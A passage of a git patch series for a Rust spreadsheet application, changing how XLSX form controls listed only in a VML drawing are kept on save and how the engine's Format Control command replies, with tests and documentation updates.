right-click; Space on a slider or spin button does what it does with no control focused: it toggles a checkbox cell or starts a cell edit like any other character); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | From 675d4b9a3c305445a6d88b8ffd9e47a67667d404 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 13:44:33 -0500 Subject: [PATCH 062/167] XLSX: form controls that only the VML drawing lists are kept on save when no element is left, as when the last listed control is modelled --- crates/xlsx/src/controls.rs | 50 +++++-- crates/xlsx/src/passthrough/read.rs | 21 +-- crates/xlsx/src/sheet_read.rs | 8 +- crates/xlsx/src/tests/controls_tests.rs | 151 +++++++++++++++++++++ crates/xlsx/src/tests/passthrough_tests.rs | 6 +- docs/file-format-parity.md | 2 +- 6 files changed, 213 insertions(+), 25 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 6f56894cd..bf6d9858c 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -398,11 +398,33 @@ fn number_of(shape: &El) -> Option { shape.attr("id").and_then(shape_number).or_else(|| shape.attr("spid").and_then(shape_number)) } +/// What [`read`] took from a sheet's form controls, for pass-through. +#[derive(Debug, Default)] +pub struct ReadControls { + /// The VML shape numbers of the controls read into the model: GridCraft writes those, so they + /// are left out of the kept content. + pub modelled: HashSet, + /// The VML drawing also holds a control that the sheet doesn't list and the model doesn't + /// hold (a check box only the drawing has): the drawing is kept for it even when no + /// `` element is left to keep. + pub vml_only_unmodelled: bool, +} + +/// Whether a VML shape the sheet doesn't list is a control that only pass-through can keep: it +/// has client data that is neither a note (GridCraft writes notes) nor an embedded object's +/// picture (`Pict`, which means nothing without its sheet entry). +fn unlisted_kept(shape: &El) -> bool { + shape + .child("ClientData") + .and_then(|d| d.attr("ObjectType")) + .is_some_and(|t| !t.trim().eq_ignore_ascii_case("note") && !t.trim().eq_ignore_ascii_case("pict")) +} + /// Reads a sheet's buttons, scroll bars and spin buttons: each `` with its properties /// part, else its VML shape, and VML shapes the sheet doesn't list (files that only have VML). /// The shapes come from the VML drawing with relationship id `vml_rid` (``). /// Returns the shape numbers of the controls it read, so pass-through keeps only the others. -pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { +pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels: &[Rel], sheet: &mut Sheet) -> ReadControls { let mut read = HashSet::new(); let vml = match vml_rid.and_then(|id| rels.iter().find(|r| r.id == id && r.kind == "vmlDrawing")) { Some(r) => cx.pkg.read_xml(&r.target).ok().flatten(), @@ -477,19 +499,27 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels sheet.controls.push(build(p, kind, anchor, ctl.attr("name"), id)); read.insert(n); } - // Controls known only from the VML. + // Controls known only from the VML. The ones not read (a check box, or past the limit) stay + // in the kept drawing. + let mut vml_only_unmodelled = false; for s in &shapes { - let Some(n) = number_of(s) else { continue }; - if listed.contains(&n) || sheet.controls.len() >= MAX_CONTROLS { + let n = number_of(s); + if n.is_some_and(|n| listed.contains(&n)) { continue; } - let Some(p) = props_from_vml(s) else { continue }; - let (Some(kind), Some(anchor)) = (p.kind, vml_anchor(s, sheet)) else { continue }; - let id = cx.next_object_id(); - sheet.controls.push(build(p, kind, anchor, None, id)); - read.insert(n); + let modelled = n.filter(|_| sheet.controls.len() < MAX_CONTROLS).and_then(|n| { + let p = props_from_vml(s)?; + let (kind, anchor) = (p.kind?, vml_anchor(s, sheet)?); + let id = cx.next_object_id(); + sheet.controls.push(build(p, kind, anchor, None, id)); + read.insert(n); + Some(()) + }); + if modelled.is_none() && unlisted_kept(s) { + vml_only_unmodelled = true; + } } - read + ReadControls { modelled: read, vml_only_unmodelled } } fn anchor_from_markers(a: &El, sheet: &Sheet) -> Option { diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 4e2264e6a..73c176136 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -283,9 +283,10 @@ impl KeptReader { (!p.is_empty()).then(|| Arc::new(p)) } - /// Sheet-level content of the sheet part `part`. `read_controls` are the VML shape numbers of - /// the form controls the sheet reader modelled; they are left out of the kept content. - pub fn sheet(&mut self, cx: &mut Ctx<'_>, part: &str, name: &str, read_controls: &HashSet) -> Option> { + /// Sheet-level content of the sheet part `part`. `controls` says which form controls the + /// sheet reader modelled (their VML shapes are left out of the kept content) and whether the + /// VML drawing holds others that only it lists. + pub fn sheet(&mut self, cx: &mut Ctx<'_>, part: &str, name: &str, controls: &crate::controls::ReadControls) -> Option> { if !self.on { return None; } @@ -306,8 +307,8 @@ impl KeptReader { // Notes have one VML drawing per sheet; another one holds the header and footer pictures. let vml_drawings = rels.iter().filter(|r| is_kind(r, &["vmlDrawing"])).count(); let notes = rels.iter().filter(|r| is_kind(r, &["comments"])).count(); - if rels.iter().any(|r| is_kind(r, SHEET_ELEMENT_KINDS)) || vml_drawings > notes { - self.sheet_elements(cx, part, name, &rels, &mut p, &mut seen, read_controls); + if rels.iter().any(|r| is_kind(r, SHEET_ELEMENT_KINDS)) || vml_drawings > notes || controls.vml_only_unmodelled { + self.sheet_elements(cx, part, name, &rels, &mut p, &mut seen, controls); } (!p.is_empty()).then(|| Arc::new(p)) } @@ -321,8 +322,9 @@ impl KeptReader { rels: &[PreservedRel], p: &mut Preserved, seen: &mut HashSet, - read_controls: &HashSet, + controls: &crate::controls::ReadControls, ) { + let read_controls = &controls.modelled; let scan = match cx.pkg.read(part) { Ok(Some(bytes)) => scan_sheet(&bytes), _ => None, @@ -361,8 +363,9 @@ impl KeptReader { .into_iter() .filter_map(|(slot, x)| if slot == "controls" { without_controls(&x, read_controls).map(|x| (slot, x)) } else { Some((slot, x)) }) .collect(); - // Controls and OLE objects are drawn from shapes in the legacy VML drawing. - if frags.iter().any(|(slot, _)| slot != "picture") { + // Controls and OLE objects are drawn from shapes in the legacy VML drawing. Controls only + // the drawing lists need it too, whether or not a `` element is left. + if frags.iter().any(|(slot, _)| slot != "picture") || controls.vml_only_unmodelled { match self.vml(cx, rels, scan.legacy_drawing.as_deref(), seen, read_controls) { Ok((vml, parts)) => { p.parts.extend(parts); @@ -392,7 +395,7 @@ impl KeptReader { Err(why) => cx.warn(format!("sheet \"{name}\": {slot} were dropped: {why}")), } } - if p.elements.iter().any(|e| e.slot == "oleObjects" || e.slot == "controls") { + if p.elements.iter().any(|e| e.slot == "oleObjects" || e.slot == "controls") || (controls.vml_only_unmodelled && p.vml.is_some()) { cx.warn(format!("sheet \"{name}\": embedded objects and form controls are not shown; they are kept for saving")); } else { p.vml = None; diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index df4a4bf4e..f2047b6ee 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -1,6 +1,6 @@ //! Reading worksheet parts. -use std::collections::{HashMap, HashSet}; +use std::collections::HashMap; use std::sync::Arc; use gridcraft_core::date::{serial_from_ymd, time_fraction}; @@ -159,7 +159,7 @@ fn read_sheet_format(e: &El, sheet: &mut Sheet) { /// Reads the sheet part `part`, with the VML shape numbers of the form controls read into the /// model (pass-through keeps the other controls). -pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, HashSet), IoError> { +pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, crate::controls::ReadControls), IoError> { let bytes = cx.pkg.read(part)?.ok_or_else(|| IoError::Format(format!("missing part {part}")))?; let rels = cx.pkg.rels(part)?; let mut sheet = Sheet::new(name); @@ -340,10 +340,10 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, Ha /// `mc:AlternateContent`) with its properties parts, else the shapes of the VML drawing that /// `` names (not the header and footer drawing of ``). /// Returns the VML shape numbers read, so pass-through keeps only the others. -fn read_form_controls(cx: &mut Ctx<'_>, root: &El, rels: &[Rel], sheet: &mut Sheet) -> HashSet { +fn read_form_controls(cx: &mut Ctx<'_>, root: &El, rels: &[Rel], sheet: &mut Sheet) -> crate::controls::ReadControls { let controls = root.children.iter().filter_map(crate::controls::controls_of).next_back(); let vml = root.child("legacyDrawing").and_then(|e| e.attr("id")); - if controls.is_some() || vml.is_some() { crate::controls::read(cx, controls, vml, rels, sheet) } else { HashSet::new() } + if controls.is_some() || vml.is_some() { crate::controls::read(cx, controls, vml, rels, sheet) } else { Default::default() } } /// A protection password hash: the iterated attributes (`algorithmName`, `hashValue`, diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index a3e2c214d..4fbb65218 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -574,3 +574,154 @@ fn controls_naming_one_properties_part_read_it_once() { })); assert_eq!(sh.comments.len(), 1, "a part read after the controls still reads: {:?}", report.warnings); } + +/// A legacy VML drawing with a button (`1025`, modelled), a check box (`1026`) and an option +/// button (`1027`, with a picture through the drawing's own relationship) that only the drawing +/// lists, plus `note` (a note shape for A1, with its comments part) when set. `listed`: the sheet's +/// `` lists the button. +fn vml_only_others(listed: bool, button: bool, note: bool) -> Vec { + const REL: &str = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"; + let mut rels = format!(r#""#); + if listed { + rels.push_str(&format!(r#""#)); + } + if note { + rels.push_str(&format!(r#""#)); + } + let rels = + format!(r#"{rels}"#); + let vml_rels = format!( + r#""# + ); + let prop_a = r#""#; + let mut shapes = String::new(); + if note { + shapes.push_str(r##"1, 15, 0, 2, 3, 15, 4, 400"##); + } + if button { + shapes.push_str(r##"
Go
2, 0, 3, 0, 4, 0, 5, 0[0]!Go"##); + } + shapes.push_str(r##"
Paid
2, 0, 7, 0, 4, 0, 8, 0$B$71"##); + shapes.push_str(r##"2, 0, 9, 0, 4, 0, 10, 0$B$9"##); + let vml = format!( + r#"{shapes}"# + ); + let controls = if listed { + r#"20304050"# + } else { + "" + }; + let notes = r#"Anncheck the totals"#; + let mut parts: Vec<(&str, &str)> = vec![ + ("xl/worksheets/_rels/sheet1.xml.rels", &rels), + ("xl/drawings/vmlDrawing1.vml", &vml), + ("xl/drawings/_rels/vmlDrawing1.vml.rels", &vml_rels), + ("xl/media/image1.png", "not really a png"), + ]; + if listed { + parts.push(("xl/ctrlProps/a.xml", prop_a)); + } + if note { + parts.push(("xl/comments1.xml", notes)); + } + // As `minimal` builds it, with content types for the picture and the drawing. + let ct = super::CT.replace( + "", + r#""#, + ); + let base = minimal(&format!(r#"{controls}"#), &parts, "", ""); + let mut zip = Package::open(&base).unwrap(); + let mut files: Vec<(String, Vec)> = vec![("[Content_Types].xml".into(), ct.into_bytes())]; + for n in zip.names() { + if n != "[Content_Types].xml" { + let data = zip.read(&n).unwrap().unwrap(); + files.push((n, data)); + } + } + super::make_zip(&files.iter().map(|(n, d)| (n.as_str(), d.as_slice())).collect::>()) +} + +/// Checks a saved package keeps the check box and option button shapes once each, in the sheet's +/// one VML drawing, with that drawing's one relationship to its one picture; returns the drawing. +fn kept_vml_only_others(out: &[u8]) -> String { + let mut pkg = Package::open(out).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + assert_eq!(sheet.matches(" = names.iter().filter(|n| n.ends_with(".vml")).collect(); + assert_eq!(vmls.len(), 1, "{names:?}"); + let vml_name = vmls[0].clone(); + let vml = text(&mut pkg, &vml_name); + assert_eq!(vml.matches("ObjectType=\"Checkbox\"").count(), 1, "the check box is kept once: {vml}"); + assert_eq!(vml.matches("ObjectType=\"Radio\"").count(), 1, "the option button is kept once: {vml}"); + let (dir, file) = vml_name.rsplit_once('/').unwrap(); + let vml_rels = text(&mut pkg, &format!("{dir}/_rels/{file}.rels")); + assert_eq!(vml_rels.matches(" = names.iter().filter(|n| n.starts_with("xl/media/")).collect(); + assert_eq!(media.len(), 1, "the option button's picture once: {names:?}"); + vml +} + +/// The sheet's `` lists only a button, which is modelled; a check box and an option +/// button in the same VML drawing have no worksheet entry. With the button's entry gone from the +/// kept content no `` element is left, but the drawing still holds the two, so it is +/// kept: the save writes them beside the regenerated button, and they survive a second round trip. +#[test] +fn vml_only_controls_survive_when_the_last_listed_control_is_modelled() { + let bytes = vml_only_others(true, true, false); + let (wb, report) = read_xlsx(&bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1, "the button is modelled"); + assert_eq!(sh.controls[0].kind, ControlKind::Button); + assert!(sh.preserved.as_ref().is_some_and(|p| p.vml.is_some()), "the drawing is kept: {:?}", report.warnings); + assert!(report.warnings.iter().any(|w| w.contains("form controls are not shown")), "{:?}", report.warnings); + let out = write_xlsx(&wb).unwrap(); + let vml = kept_vml_only_others(&out); + assert_eq!(vml.matches("ObjectType=\"Button\"").count(), 1, "the button once, written from the model: {vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + let sh = back.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1); + assert_eq!(sh.controls[0].text, "Go"); + // Saved again: still once each. + let again = write_xlsx(&back).unwrap(); + let vml = kept_vml_only_others(&again); + assert_eq!(vml.matches("ObjectType=\"Button\"").count(), 1, "{vml}"); +} + +/// A sheet whose only controls are a check box and an option button that only the VML drawing +/// lists (no ``, no notes, nothing modelled): the drawing is kept on its own. +#[test] +fn a_sheet_whose_only_controls_are_vml_only_and_unmodelled_keeps_them() { + let bytes = vml_only_others(false, false, false); + let (wb, report) = read_xlsx(&bytes).unwrap(); + assert!(wb.sheet(0).unwrap().controls.is_empty()); + let out = write_xlsx(&wb).unwrap(); + let vml = kept_vml_only_others(&out); + assert!(!vml.contains("ObjectType=\"Button\""), "{vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + let again = write_xlsx(&back).unwrap(); + kept_vml_only_others(&again); + assert!(report.warnings.iter().any(|w| w.contains("form controls are not shown")), "{:?}", report.warnings); +} + +/// The same with a note in the drawing (one VML drawing for one comments part) and a VML-only +/// button that is modelled: the note and the button are written from the model, the check box and +/// option button stay, all in the one drawing. +#[test] +fn vml_only_controls_beside_a_note_are_kept() { + let bytes = vml_only_others(false, true, true); + let (wb, report) = read_xlsx(&bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!((sh.controls.len(), sh.comments.len()), (1, 1), "{:?}", report.warnings); + let out = write_xlsx(&wb).unwrap(); + let vml = kept_vml_only_others(&out); + assert_eq!(vml.matches("ObjectType=\"Note\"").count(), 1, "{vml}"); + assert_eq!(vml.matches("ObjectType=\"Button\"").count(), 1, "{vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + let sh = back.sheet(0).unwrap(); + assert_eq!((sh.controls.len(), sh.comments.len()), (1, 1)); + let vml = kept_vml_only_others(&write_xlsx(&back).unwrap()); + assert_eq!(vml.matches("ObjectType=\"Note\"").count(), 1, "{vml}"); +} diff --git a/crates/xlsx/src/tests/passthrough_tests.rs b/crates/xlsx/src/tests/passthrough_tests.rs index 80e4c1edc..a71b34422 100644 --- a/crates/xlsx/src/tests/passthrough_tests.rs +++ b/crates/xlsx/src/tests/passthrough_tests.rs @@ -849,6 +849,10 @@ const LOGO: &[u8] = b"\x89PNG\r\n\x1a\n letterhead logo"; const SIGNATURE: &[u8] = b"\x89PNG\r\n\x1a\n footer signature"; const HF_VML: &str = r##""##; +/// The VML drawing of one note and nothing else. [`VML`] also holds a check box that only the +/// drawing lists, which is kept with the drawing (and its source shape block). +const NOTE_VML: &str = r##"
old note
00"##; + /// #1257: a letterhead in the header and a picture in the footer (`&G`), drawn from a VML part /// that `` names, next to a note whose VML drawing GridCraft rewrites. fn header_picture_package() -> Vec { @@ -875,7 +879,7 @@ fn header_picture_package() -> Vec { ("xl/worksheets/sheet1.xml", sheet.as_bytes()), ("xl/worksheets/_rels/sheet1.xml.rels", sheet_rels.as_bytes()), ("xl/comments1.xml", COMMENTS.as_bytes()), - ("xl/drawings/vmlDrawing1.vml", VML.as_bytes()), + ("xl/drawings/vmlDrawing1.vml", NOTE_VML.as_bytes()), ("xl/drawings/vmlDrawing2.vml", HF_VML.as_bytes()), ("xl/drawings/_rels/vmlDrawing2.vml.rels", hf_rels.as_bytes()), ("xl/media/image1.png", LOGO), diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 18b03f5cb..a3bc169bd 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -76,7 +76,7 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | Format | Excel | GridCraft read | GridCraft write | Fidelity / notes | Tests | |---|---|---|---|---|---| -| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, equations (Office Math with a plain-text fallback and the LaTeX source; Office Math from other writers read for a common subset), charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), form controls (buttons, scroll bars and spin buttons: control properties parts, `` and VML `x:ClientData`; a VML-only control is read too; a button's command, fixed input range or output cell travels in a hidden defined name and comes back only onto the same button while the file still assigns its macro, or none for a command), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), other form controls (check boxes, list boxes, drop-downs; written in the same `` element and VML drawing as the modelled ones), ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | +| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, equations (Office Math with a plain-text fallback and the LaTeX source; Office Math from other writers read for a common subset), charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), form controls (buttons, scroll bars and spin buttons: control properties parts, `` and VML `x:ClientData`; a VML-only control is read too; a button's command, fixed input range or output cell travels in a hidden defined name and comes back only onto the same button while the file still assigns its macro, or none for a command), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), other form controls (check boxes, list boxes, drop-downs; written in the same `` element and VML drawing as the modelled ones, also those only the VML drawing lists, with no `` entry), ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, notes (with their shown/hidden state) and threaded comments with replies, resolved state and timestamps (`threadedComments` and `persons` parts, #300), hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, equations (Office Math with a plain-text fallback and the LaTeX source; Office Math from other writers read for a common subset), charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, equations (Office Math with a plain-text fallback and the LaTeX source; Office Math from other writers read for a common subset), charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, Allow Edit Ranges (`protectedRanges` with their password hashes, #307), calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, styles, themes (the major/minor `latin`, East Asian `ea` and complex-script `cs` typefaces and the per-script `` lists are kept through a save), merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, equations (Office Math with a plain-text fallback and the LaTeX source; Office Math from other writers read for a common subset), charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings. **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), form controls, ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), pictures in headers and footers (`&G`, #1257: their VML drawing and images are written back unchanged; they are not shown, and can't be inserted), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | From 00d79eb98aba2e55392c26a295094c25392375b1 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 14:21:29 -0500 Subject: [PATCH 063/167] Form controls: control.format replies with the control as committed, so a new link's value shows --- crates/engine/src/cmd/controls.rs | 9 ++++++--- crates/engine/src/tests/controls.rs | 16 ++++++++++++++++ 2 files changed, 22 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 5acfb75b6..f1064ce33 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -357,7 +357,6 @@ fn format(s: &mut Session, p: &Json) -> Result { let number = c.kind != ControlKind::Button; let write = number && (given.is_some() || p.get("min").is_some() || p.get("max").is_some() || p.get("step").is_some()); let (value, link) = (c.value, c.link.clone()); - let out = control_json(&c); s.grouped("Format Control", |s| { edit(s, |cx| { if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) { @@ -368,8 +367,12 @@ fn format(s: &mut Session, p: &Json) -> Result { if write { write_link(s, sheet, link.as_deref(), value)?; } - Ok(out) - }) + Ok(()) + })?; + // The reply is the control as committed: a new link to a cell holding another number has + // moved its value there. + let (_, _, c) = find(s, CMD, p)?; + Ok(control_json(&c)) } /// Commands a button never runs, beyond the macro policy's lists: a button has no way to show diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 2bcf5d671..cb86727fa 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -117,6 +117,22 @@ fn editing_the_linked_cell_moves_the_control() { assert_eq!(other.cell(gridcraft_core::CellRef::new(0, 0)).unwrap().value, Value::Number(30.0)); } +#[test] +fn format_replies_with_the_value_a_new_link_gives() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "C5", "input": "30"})).unwrap(); + let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 10})).unwrap()); + // Relinked to a cell that holds another number, the control takes that number, and the reply + // says so, as control.list does. + let r = s.execute("control.format", json!({"id": c, "link": "C5"})).unwrap(); + assert_eq!(control(&s, c).value, 30); + assert_eq!(r["value"], json!(30), "{r}"); + assert_eq!(r["link"], json!("$C$5"), "{r}"); + // A given value is written to the new link and replied as given. + let r = s.execute("control.format", json!({"id": c, "link": "D6", "value": 44})).unwrap(); + assert_eq!((r["value"].clone(), v(&s, "D6")), (json!(44), Value::Number(44.0))); +} + #[test] fn links_follow_inserted_rows() { let mut s = s(); From 5725f7b44e4752e7d1268413d8ba09ddc3be5f09 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 14:44:00 -0500 Subject: [PATCH 064/167] XLSX: a kept VML drawing drops a note whatever the case or quotes of its ObjectType, so a comment gets one note --- crates/xlsx/src/passthrough/read.rs | 16 ++++++++++-- crates/xlsx/src/tests/controls_tests.rs | 34 ++++++++++++++++++------- 2 files changed, 39 insertions(+), 11 deletions(-) diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 73c176136..7ad0f8867 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -577,14 +577,26 @@ fn shape_spans(vml: &str) -> Vec<(usize, usize)> { spans } -/// VML without its note shapes (`ObjectType="Note"`) and the shapes numbered in `drop`. +/// Whether a VML shape is a note: its client data's `ObjectType` is `Note` in any case, in either +/// quote and with spaces around it, as the control reader reads it. +fn is_note_shape(shape: &str) -> bool { + shape.match_indices("ObjectType").any(|(i, m)| { + let Some(rest) = shape.get(i + m.len()..).map(str::trim_start).and_then(|r| r.strip_prefix('=')).map(str::trim_start) else { + return false; + }; + let Some(q) = rest.chars().next().filter(|c| matches!(c, '"' | '\'')) else { return false }; + rest.get(1..).and_then(|v| v.split(q).next()).is_some_and(|v| v.trim().eq_ignore_ascii_case("note")) + }) +} + +/// VML without its note shapes (see [`is_note_shape`]) and the shapes numbered in `drop`. fn strip_shapes(vml: &str, drop: &HashSet) -> String { let mut out = String::with_capacity(vml.len()); let mut last = 0; for (a, b) in shape_spans(vml) { let shape = vml.get(a..b).unwrap_or(""); let numbered = shape_numbers(shape).first().is_some_and(|n| drop.contains(n)); - if shape.contains("ObjectType=\"Note\"") || numbered { + if is_note_shape(shape) || numbered { out.push_str(vml.get(last..a).unwrap_or("")); last = b; } diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 4fbb65218..8936e0153 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -577,15 +577,16 @@ fn controls_naming_one_properties_part_read_it_once() { /// A legacy VML drawing with a button (`1025`, modelled), a check box (`1026`) and an option /// button (`1027`, with a picture through the drawing's own relationship) that only the drawing -/// lists, plus `note` (a note shape for A1, with its comments part) when set. `listed`: the sheet's +/// lists, plus `note` (a note shape for A1 whose client data carries that `ObjectType` attribute, +/// with its comments part) when given. `listed`: the sheet's /// `` lists the button. -fn vml_only_others(listed: bool, button: bool, note: bool) -> Vec { +fn vml_only_others(listed: bool, button: bool, note: Option<&str>) -> Vec { const REL: &str = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"; let mut rels = format!(r#""#); if listed { rels.push_str(&format!(r#""#)); } - if note { + if note.is_some() { rels.push_str(&format!(r#""#)); } let rels = @@ -595,8 +596,8 @@ fn vml_only_others(listed: bool, button: bool, note: bool) -> Vec { ); let prop_a = r#""#; let mut shapes = String::new(); - if note { - shapes.push_str(r##"1, 15, 0, 2, 3, 15, 4, 400"##); + if let Some(attr) = note { + 